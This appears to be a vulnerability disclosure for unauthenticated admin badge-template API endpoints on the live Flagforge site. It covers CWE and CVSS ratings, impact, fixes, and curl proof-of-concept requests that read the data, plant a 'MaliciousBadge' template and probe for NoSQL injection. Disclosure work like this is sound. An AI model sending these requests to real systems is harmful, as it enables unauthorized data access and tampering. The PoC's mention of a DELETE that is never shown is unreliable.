Description

Affected Endpoints

1. GET /api/admin/badge-templates:
   • Returns a JSON array of all badge templates stored in the MongoDB badgeTemplates collection.
   • Exposed fields include _id, name, description, icon, color, isActive, createdBy, createdAt, updatedAt, and __v.
   • No authentication headers, API keys, or session checks are required, making the endpoint publicly accessible.
   • Sample response (from cURL):

1. POST /api/admin/badge-templates/create:
   • Allows creation of new badge templates with user-controlled fields: name, description, icon, color, isActive, and createdBy.
   • Minimal validation checks for presence of name, description, and icon, and ensures no duplicate name exists.
   • No authentication or authorization checks, enabling anyone to insert data into the database.
   • Sample code (from provided source):
     root@kitploit:~

     const templateDoc = {
       name: name.trim(),
       description: description.trim(),
       icon: icon.trim(),
       color: color || '#8B5CF6',
       isActive: isActive !== undefined ? isActive : true,
       createdAt: new Date(),
       createdBy: createdBy || 'unknown'
     };
     const result = await db.collection('badgeTemplates').insertOne(templateDoc);
     

Weaknesses

• CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (GET endpoint): Exposes user identifiers (e.g., Lagzen Thakuri, [email protected]) and metadata, enabling reconnaissance or phishing.
• CWE-306: Missing Authentication for Critical Function (both endpoints): No access controls on administrative routes.
• CWE-284: Improper Access Control (both endpoints): Allows unauthorized data retrieval and modification.
• Potential NoSQL Injection: While the POST endpoint explicitly destructures fields, the GET endpoint may be vulnerable if it supports query parameters (e.g., ?name[$ne]=test).
• Log Pollution Risk: The POST endpoint logs user-controlled name and createdBy, which could be abused for log spam or injection.

CVSS v3.1 Score

• Base Score: 9.1 (Critical)
• Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
  • Attack Vector (AV): Network (publicly accessible endpoints).
  • Attack Complexity (AC): Low (no special conditions required).
  • Privileges Required (PR): None (no authentication needed).
  • User Interaction (UI): None (direct HTTP requests).
  • Scope (S): Unchanged (affects the application itself).
  • Confidentiality (C): High (exposes user data).
  • Integrity (I): High (allows arbitrary data creation).
  • Availability (A): Low (potential DoS via mass template creation).

Affected Systems

• Application: Flagforge (https://flagforge.xyz)
• Components:
  • Next.js API routes: /api/admin/badge-templates (GET) and /api/admin/badge-templates/create (POST).
  • MongoDB database: badgeTemplates collection.
• Hosting: Vercel (serverless, inferred from server: Vercel header).
• Versions: Unknown (assumed Next.js 13+ based on NextRequest/NextResponse syntax).
• Dependencies: MongoDB driver (via custom @/utlis/db connect utility), Next.js.

Impact

• Confidentiality: Exposure of user identifiers (createdBy) and metadata (createdAt, updatedAt), which could be used for social engineering or targeted attacks.
• Integrity: Unauthorized creation of badge templates, potentially leading to spam, phishing, or malicious content display in the application.
• Availability: Potential denial-of-service (DoS) by flooding the POST endpoint with template creations, consuming database resources.
• Exploitability: High, as the endpoints are publicly accessible via simple HTTP requests (e.g., cURL, Postman) with no authentication barriers.

Proof of Concept

1. Retrieve Sensitive Data (GET):

   root@kitploit:~

   curl https://flagforge.xyz/api/admin/badge-templates
   

   • Returns a JSON list of all badge templates, including sensitive fields like createdBy (e.g., [email protected]).

2. Create Unauthorized Template (POST) and Remove the Templates (DELETE):

   root@kitploit:~

   curl -X POST https://flagforge.xyz/api/admin/badge-templates/create \
     -H "Content-Type: application/json" \
     -d '{"name":"MaliciousBadge","description":"Hacked","icon":"evil.svg","createdBy":"attacker"}'
   

   • Creates a new template in the badgeTemplates collection.
   • Removes the badge templates.
   • Verify by re-running the GET request to confirm the new template appears.

3. Potential NoSQL Injection (GET, if query parameters are supported):

   root@kitploit:~

   curl https://flagforge.xyz/api/admin/badge-templates?name[$regex]=.*
   

   • Test if the endpoint processes MongoDB operators, which could bypass filters or expose additional data.

Recommendations

Immediate Fixes

1. Implement Authentication:
   • Add middleware to verify user identity (e.g., JWT, NextAuth.js, or API keys) for both endpoints.
     root@kitploit:~

     // Example middleware for POST endpoint
     export async function POST(request: NextRequest) {
       const authHeader = request.headers.get('authorization');
       if (!authHeader || !verifyToken(authHeader)) { // Implement verifyToken
         return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
       }
       // ... existing code ...
     }
     

2. Restrict GET Endpoint:
   • Limit the GET endpoint to authenticated admins or return minimal data (e.g., exclude createdBy).
   • If query parameters are supported, sanitize inputs to prevent NoSQL injection.

References

• CWE-200: https://cwe.mitre.org/data/definitions/200.html
• CWE-306: https://cwe.mitre.org/data/definitions/306.html
• CWE-284: https://cwe.mitre.org/data/definitions/284.html
• OWASP API Security Top 10: https://owasp.org/www-project-api-security/
• CVSS v3.1 Calculator: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator